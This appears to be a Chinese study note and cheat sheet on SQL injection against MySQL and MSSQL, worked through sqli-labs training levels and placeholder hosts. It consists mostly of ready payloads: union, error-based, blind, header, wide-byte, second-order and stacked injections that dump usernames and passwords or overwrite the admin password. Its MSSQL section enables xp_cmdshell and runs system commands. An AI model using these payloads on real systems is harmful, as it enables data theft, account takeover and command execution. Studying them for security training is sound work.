|
MYSQL+MSSQL注入理解[color=rgba(0, 0, 0, 0.9)]MySQL联合注入步骤 判断注入点 http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 and 1=1
and两边都为真,回显正常,有数据
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 and 1=2
and一边为真一边为假,回显异常,无数据
构造闭合(字符型) ①在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' -- s
//判断是否为字符型
②在URL链接中附加字符串' -- s即
http://xxx.xxx.xxx/abc.php?p=YY' and 1=1 -- s //结果返回正常
③在URL链接中附加字符串' -- s即
http://xxx.xxx.xxx/abc.php?p=YY' and 1=2 -- s //结果返回异常
则通过①②③判断出为字符型
常用构造闭合符号:
单引号' 双引号" 单引号+括号') 双引号+括号")
常用注释符号:
--空格(经常会在其后面加上一个任意字母区分括号eg:-- s)
判断字段数量 order by:排序
注意:如果是数字型注入,也有必要加上注释 # 或者 --空格,因为,在数据传递的时候,不知道
order by后面是否跟了其他语句
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 order by 3
判断字段数量,返回正常,说明至少存在3个字段
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 order by n
返回异常,说明不存在n列
union联合查询,判断回显点 http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 union select 1,2,3
爆数据 user() database() version()
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=-1
#-1是让前面的代码失效(不占回显位) 好执行后面我们想要执行的爆库语句()
union select 1,user(),database()
爆所有库名 http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,user(),group_concat(schema_name)
from information_schema.schemata
爆security库名中的所有表名 http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,2, group_concat(TABLE_NAME)
from information_schema.TABLES WHERE TABLE_SCHEMA=database();
爆security库名中users表中的所有字段 http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,2, group_concat(column_name)
from information_schema.columns
WHERE TABLE_SCHEMA=database() and table_name="users"
爆users表中的用户,密码 http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,group_concat(username), group_concat(password)
from users
报错注入步骤判断是否可以注入 123') or 1=1 -- s //返回正常,登录成功
123') or 1=2 -- s //返回异常,登录失败
说明or被带入到数据库中执行了,进而证明存在sql注入
报错方法获取数据库 123') or extractvalue('1',concat("~~",(database()))) -- s
报错方法获取表 123') or extractvalue('1',concat("~~",(select group_concat(table_name)
from information_schema.tables where table_schema=database()))) -- s
报错方法获取字段 123') or extractvalue('1',concat("~~",(select group_concat(column_name)
from information_schema.columns where
table_schema=database() and table_name="users"))) -- s
报错方法获取数据 123') or extractvalue('1',concat("~~",(select group_concat(username)
from users))) -- s
盲注步骤布尔盲注 首先判断注入点,既不能联合也不能报错 尝试布尔盲注,首先判断当前数据库长度
二分法判断长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())>10 -- s //返回false 0-10
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())>5 -- s //返回true 5-10
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())>7 -- s //返回true 7-10
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())>8 -- s //返回false
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())=8 -- s //返回true 确定长度为8
判断第1个字符(二分法,依次判断ascii码(33-127)) 方法与步骤2一致
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr(database(),1,1))=115 -- s
判断第2个字符
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr(database(),2,1))=115 -- e
... ...
直到判断库名为8个字符的security
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and length((select table_name from
information_schema.tables
where table_schema=database() limit 0,1))=6 -- s (例子:emails)
#limit 0,1 限制此时判断的为第1个表
#limit 1,1 限制此时判断的为第2个表
... ...依此类推
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr((select table_name from
information_schema.tables where
table_schema=database() limit 0,1),1,1))=101 -- s #(e)
|| ||
第1个表 ||
第一个字符
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr((select table_name from
information_schema.tables where
table_schema=database() limit 0,1),2,1))=101 -- s #(m)
... ...
直到找到所有表以及表名 或者想要的用户表
users表为例 字段为username 数据为Dumb
#判断数据长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and length((select username from users limit 0,1))=4 -- s
#limit 0,1 表示第1条数据
#limit 1,1 表示第2条数据
... ...
#判断内容
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ASCII(substr((select username from
users limit 0,1),1,1))=68 -- s
||
第一个字符=68 =》D
... ...
依此类推 第一条数据为 Dumb
直到判断出username字段所有数据
时间盲注 二分法判断长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())>10),sleep(2),1) -- s //直接返回 0-10
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())>5),sleep(2),1) -- s //延时2秒 5-10
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())>7),sleep(2),1) -- s //延时2秒 7-10
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())>8),sleep(2),1) -- s //直接返回
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())=8),sleep(2),1) -- s //延时2秒 确定长度为8
判断第1个字符(二分法,依次判断ascii码(33-127)) 方法与步骤2一致
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(2),1) -- s
判断第2个字符
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr(database(),2,1))=115),sleep(2),1) -- e
... ...
直到判断库名为8个字符的security
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((length((select table_name from
information_schema.tables
where table_schema=database() limit 0,1))=6),sleep(2),1) -- s (例子:emails)
#limit 0,1 限制此时判断的为第1个表
#limit 1,1 限制此时判断的为第2个表
... ...依此类推
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr((select table_name from
information_schema.tables where
table_schema=database() limit 0,1),1,1))=101),sleep(2),1) -- s #(e)
|| ||
第1个表 ||
第1个字符
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr((select table_name from
information_schema.tables where
table_schema=database() limit 0,1),2,1))=101),sleep(2),1) -- s #(m)
... ...
直到找到所有表以及表名 或者想要的用户表
users表为例 字段为username 数据为Dumb
#判断数据长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((length((select username
from users limit 0,1))=4),sleep(2),1) -- s
#limit 0,1 表示第1条数据
#limit 1,1 表示第2条数据
... ...
#判断内容
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ASCII(substr((select username from
users limit 0,1),1,1))=68),sleep(2),1) -- s
||
第一个字符=68 =》D
... ...
依此类推 第一条数据为 Dumb
直到判断出username字段所有数据
header注入注入点
UA REFEDER X-FORWORDED-FOR COOKIE
方式
注意: 步骤以UA头为例 修改UA头报错 User-Agent: 1'
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use
near '127.0.0.1', 'admin')' at line 1
insert into 表名(字段,字段,字段) values( 值 , 值 , 值 )
|| || ||
UA ip admin
|| || ||
insert into 表名(字段,字段,字段) values( 值 , '127.0.0.1', 'admin')
||
1'
构造SQL语句字段
User-Agent: 123','1','123') #
... ... ... values('123','1','123') #,'127.0.0.1','admin')
#重点:构造字段(先要判断有几个字段,字段中含有我们想要的SQL语句,位置在哪个字段都可)
#后面注释掉了原有的 2个字段 ip admin
#所以前面要构造闭合加上 )
爆数据库以及其他操作 User-Agent: 123','1'and Extractvalue
('1',concat("~~",database(),"~~")),'123') #
User-Agent: 123','1','123'and Extractvalue
('1',concat("~~",database(),"~~"))) #
User-Agent: 123'and Extractvalue
('1',concat("~~",database(),"~~")),'1','123') #
宽字节注入流程 (1) ?id=1' and 1=1 #
这是正常的语句,我们使用SQL语句看一下
select * from user where id='1' and 1=1 #' //可以成功闭合
当php使用函数对接受的参数做了处理后,将单引号转义,在单引号前面加上了 转义符“\"
在sql中的语句是:
select * from user where id='1\' and 1=1 #'
# 这时代入数据库查看,这是明显没有注入成功的,因为前面的单引号被转义了,没有闭合
(2) 当我们代入了 %df 时,在数据库中就变成了
①select * from user where id='1%df\' and 1=1 #'
②select * from user where id='1%df%5c' and 1=1 #'
③select * from user where id='1運' and 1=1 #'
* 这时,转义函数,还会对我们输入的单引号进行转义,转义成 `\'`
而GBK编码下,反斜杠`\`的十六进制表示是`5C`。
因此,当你传入的参数为`%df\'`,经过GBK编码处理后,`\`会被编码成`%5C`
* 所以传入数据库中的参数变成了`%df%5C'`
* 数据库对sql语句进行GBK编码后,会将`%df%5c`结合到一起组成 `運`
从而通过`%df`吃掉了反斜杠`\` 从而闭合掉了后面的引号,查询成功
步骤http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' -- s
http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' and 1=1 -- s
http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' and 1=2 -- s
http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' order by 3 -- s
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union select 1,2,3 -- s
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union
select 1,user(),database() -- s
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union
select 1,2,group_concat(schema_name) from
information_schema.schemata -- s
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union
select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=database() -- s
过滤了双引号,会报错
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' unio
n select 1,2,group_concat(column_name) fro
m information_schema.columns where table_schema=database() an
d table_name="users" -- s
方法:
①表名转16进制
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union
select 1,2,group_concat(column_name) from
information_schema.columns where
table_schema=database() and table_name=0x7573657273 -- s
②子查询
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union
select 1,2,group_concat(column_name) from
information_schema.columns where
table_schema=database() and
table_name=(select table_name from information_schema.tables where
table_schema=database() limit 3,1) -- s
二次注入步骤第一次插入恶意代码值: 插入的值:admin' -- s
经过后端过滤之后变成:admin\' -- s
存储到数据库的时候,数据库把反斜杠给去掉了,这时候就变成原来的值:admin' -- s
第二次执行的操作,调用了第一次插入的值admin' -- s update users set password='admin' where username='admin' -- s'
实际上修改的是账号:admin (后面的 -- s'为注释,不起作用)
select * from users where username='admin' -- s'
delete from users where username='admin' -- s'
注意 可能在网站开发时,会对用户输入的数据进行去空格处理,此时使用注释 --空格 可能会存在问题
因此可用 # 进行构造
堆叠注入步骤堆叠注入SQL语句: select * from users where id='1';
select if(length(database())>5,sleep(5),1)%23;
Payload= 1';select if(length(database())>5,sleep(5),1)%23
Payload= 1';select if(substr(user(),1,1)='r',sleep(3),1)%23
payload= 1';insert into users(id,username,password) value (666,'zgao','zgao') --+
payload= 1';update users set password = '12345678' where username='admin' -- s
如此句:从堆叠注入语句中可以看出,第二条SQL语句(select if(substr(user(),1,1)=‘r’,sleep(3),1)%23就是时间盲注的语句。 堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete等常规数据库语句。 POST注入post注入思路和get显错位注入思路一致 只是请求的方法从get变为了post
一般的基本思路如下,以登录框为注入点为例(密码随便输入): tips: 万能密码:
xxx' or 1=1 # 1.已知一个用户判断是否可以注入 admin' and 1=1 -- s //返回正常,登录成功
admin' and 1=2 -- s //登录失败
说明and被带入到数据库中执行了,进而证明存在sql注入
#闭合符号'需要进行判断确定
判断字段数 =》 order by admin' order by 3
判断回显位置 =》 union 1231' union select 1,2,3 -- s
得到数据库名字 =》 database() 1231' union select 1,database(),user() -- s
得到表名 =》 information_schema.tables 1231' union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema=database() -- s
得到字段名 =》 information_schema.columns 1231' union select 1,2,group_concat(column_name)
from information_schema.columns where table_schema=database()
and table_name="users" -- s
获取数据 1231' union select 1,2,group_concat(username) from users
2.不知道用户名使用连接符or 结合报错注入(通常在没有回显时使用)
判断是否可以注入 123' or 1=1 -- s //返回正常,登录成功
123' or 1=2 -- s //返回异常,登录失败
说明or被带入到数据库中执行了,进而证明存在sql注入
报错方法获取数据库 123' or extractvalue('1',concat("~~",(database()))) -- s
报错方法获取表 123' or extractvalue('1',concat("~~",(select group_concat(table_name)
from information_schema.tables where table_schema=database()))) -- s
报错方法获取字段 123' or extractvalue('1',concat("~~",(select group_concat(column_name)
from information_schema.columns where
table_schema=database() and table_name="users"))) -- s
报错方法获取数据 123' or extractvalue('1',concat("~~",(select group_concat(username)
from users))) -- s
ps:如果数据过多无法完全显示,可以使用substr,limit等函数进行输出限制 防御对用户输入进行严格过滤 使用waf 定期审查更新代码,识别修复SQL注入漏洞点
Sqlserver常识where xtype='x' and name='xp_cmdshel' #以x开头 名称为xp_cmdshel
* S:系统表
* U:用户创建表\*\*(注意为大写)\*\*
* **小写为过滤条件**
#查找users表中的第一个字段
select top 1 name from syscolumns where id=(select id from sysobjects where name='users')
STUFF (字符表达式, 开始位置, 长度, 替换字符串表达式) # 包含开始位置
# 字符表达式:你想要修改的字符串表达式。
# 开始位置:你想要开始替换字符的字符串内起始位置。
# 长度:要替换的字符数。
# 替换字符串表达式:将替换开始位置和长度参数指定的字符的新字符串。
#例:
SELECT STUFF('Hello World', 7, 5, 'Universe')
这个查询会返回 "Hello Universe"。原始字符串是 "Hello World",它会从第七个位置开始('W'的位置),删除长度为5的子串('World'),然后用 "Universe" 替换它。
select @@version --查询数据库的版本
select host_name() --查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name() --查询当前数据库名
select db_name(1) --查询第一个数据库名
select db_name(2) --查询第二个数据库名,前6个数据库为默认库
select user --查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
注释符 --
联合注入#判断是否存在注入点
mssql.php?id=1 and 1=1 --
#判断是否为mssql数据库
mssql.php?id=1 and exists(select * from sysobjects) --
#判断字段长度
mssql.php?id=1 order by 3 -- #正常
mssql.php?id=1 order by 4 -- #报错
#判断回显位
mssql.php?id=-1 union select 11,22,33 --
#爆数据库名,版本信息
mssql.php?id=-1 union select 11,db_name(),@@version --
#爆表名(假设库名为kaiwen)
mssql.php?id=-1 union select 11,db_name(),name from kaiwen..sysobjects where xtype='U' -- #所有表名
#模糊查表
mssql.php?id=-1 union select 11,db_name(),name from kaiwen..sysobjects where xtype='U' and name LIKE '%users%' -- #模糊查询含有‘users’的表
#爆列(字段)名(假设表名为user)
mssql.php?id=-1 union select 11,db_name(),col_name(object_id('users'),1) from sysobjects -- #其中1代表 user表中的第1列
... ...
#爆数据(假设字段为username、password)
mssql.php?id=-1 union select 11,db_name(),username from users
mssql.php?id=-1 union select 11,db_name(),password from users
#查库
-- 查询前1条数据
select top 1 name from master..sysdatabases
-- 查询前2条数据
select top 2 name from master..sysdatabases
-- 查询第3条数据
-- 这里使用嵌套语法,查询第1条不存在于前2条的数据,即查询第3条数据。也就是先排除前2条数据再查询第1条,即原来表中的第3条
select top 1 name from master..sysdatabases where name not in (select top 2 name from master..sysdatabases)
#查表
#方式一:
select top 1 name from 库名..sysobjects where name not in (select top 1 name from master..sysobjects) #第二个表
#方式二:
?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’)) #查 不是users表的下一个表
报错注入函数convert()
file_name()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()
convert()函数 #查询基本信息
convert(int,@@version) 获取版本信息
convert(int,db_name()) 数据库名字
convert(int,user) 当前⽤户名
convert(int,@@SERVERNAME) 获取有关服务器主机的信息
#当前数据库
?id=2 and 1=convert(int,db_name()) --
--或者
?id=convert(int,db_name()) --
--或者
?id=1 and 1=convert(int,db_name(0)) -- --查询当前数据库
?id=1 and 1=convert(int,db_name(1)) -- --查询第二个数据库,以此类推
#查表名(用户创建的)
?id=1 and 1=convert(int,(select top 1 name from 库名.sys.sysobjects where xtype = 'U')) --
#查列名
?id=1 and 1=convert(int,(select top 1 name from 库名.sys.syscolumns where id = object_id(‘users’))) --
#爆数据
?id=1 and 1=convert(int,(select top 1 username+password from users )) --
盲注#布尔盲注
#判断是否存在盲注
and 1=1-- --正常显示
and 1=2-- --不正常
#猜测数据库名长度
/mssql.php?id=2 and len((select db_name()))=3 -- --数据库名长度为3个字符,页面不显示
/mssql.php?id=2 and len((select db_name()))=4 -- --数据库名长度为4个字符,页面正常显示
#获取库名
?id=2 and ascii(substring((select db_name()),1,1))>78 --
?id=2 and ascii(substring((select db_name()),1,1))=78 --
-- 查询数据库名第一个字符的ascii码为78,对应字母N
#时间盲注
#判断是否存在注入点
?id=2 WAITFOR DELAY '0:0:5' --
#猜测库名长度
?id=2 if (len((select db_name()))=4) WAITFOR DELAY '0:0:4' --数据库长度为4字符则延时4s
#猜测库名
?id=2 if (ascii(substring((select top 1 db_name()),1,1))=78) WAITFOR DELAY '0:0:4' --延时响应4s
进阶多语句注入 原SQL语句后拼接分号;进行闭合原语句,之后再拼接其它类型的SQL语句。 1'; exec xp_cmdshell 'whoami > c:\temp.txt' --
判断库站分离 - `Servername`服务名,位于Web端
- `Host_name`数据库系统名,位于数据库端
-- 若正常回显则站库不分离,反之分离
1' and ((select host_name()) = (select @@SERVERNAME))
判断XP_CMDSHELL是否开启 - 存储过程中的`XP_CMDSHELL`可执行系统命令,是后续提权的主要方式,从`MSSQL2005`版本之后默认关闭
-- 若正常回显则开启,反之不开启
1' and (select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshel') --
#以x开头 名称为xp_cmdshel
-- 若不开启,可以在Web端通过多语句注入进行开启
1';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --
写入文件 - 通过`xp_cmdshell`执行系统命令写入文件
exec xp_cmdshell 'whoami > C:/temp.txt'
读取文件 - 创建临时表,将文件写入该表,然后查询,最后删除
create table temp(res varchar(8000)); # 创建表temp
bulk insert master.dbo.temp from 'C:/temp.txt';
#bulk inser 添加操作 通常用于处理大量数据
#master.dbo.temp master库中的dbo.temp表
select * from master.dbo.temp
drop table temp;
|
|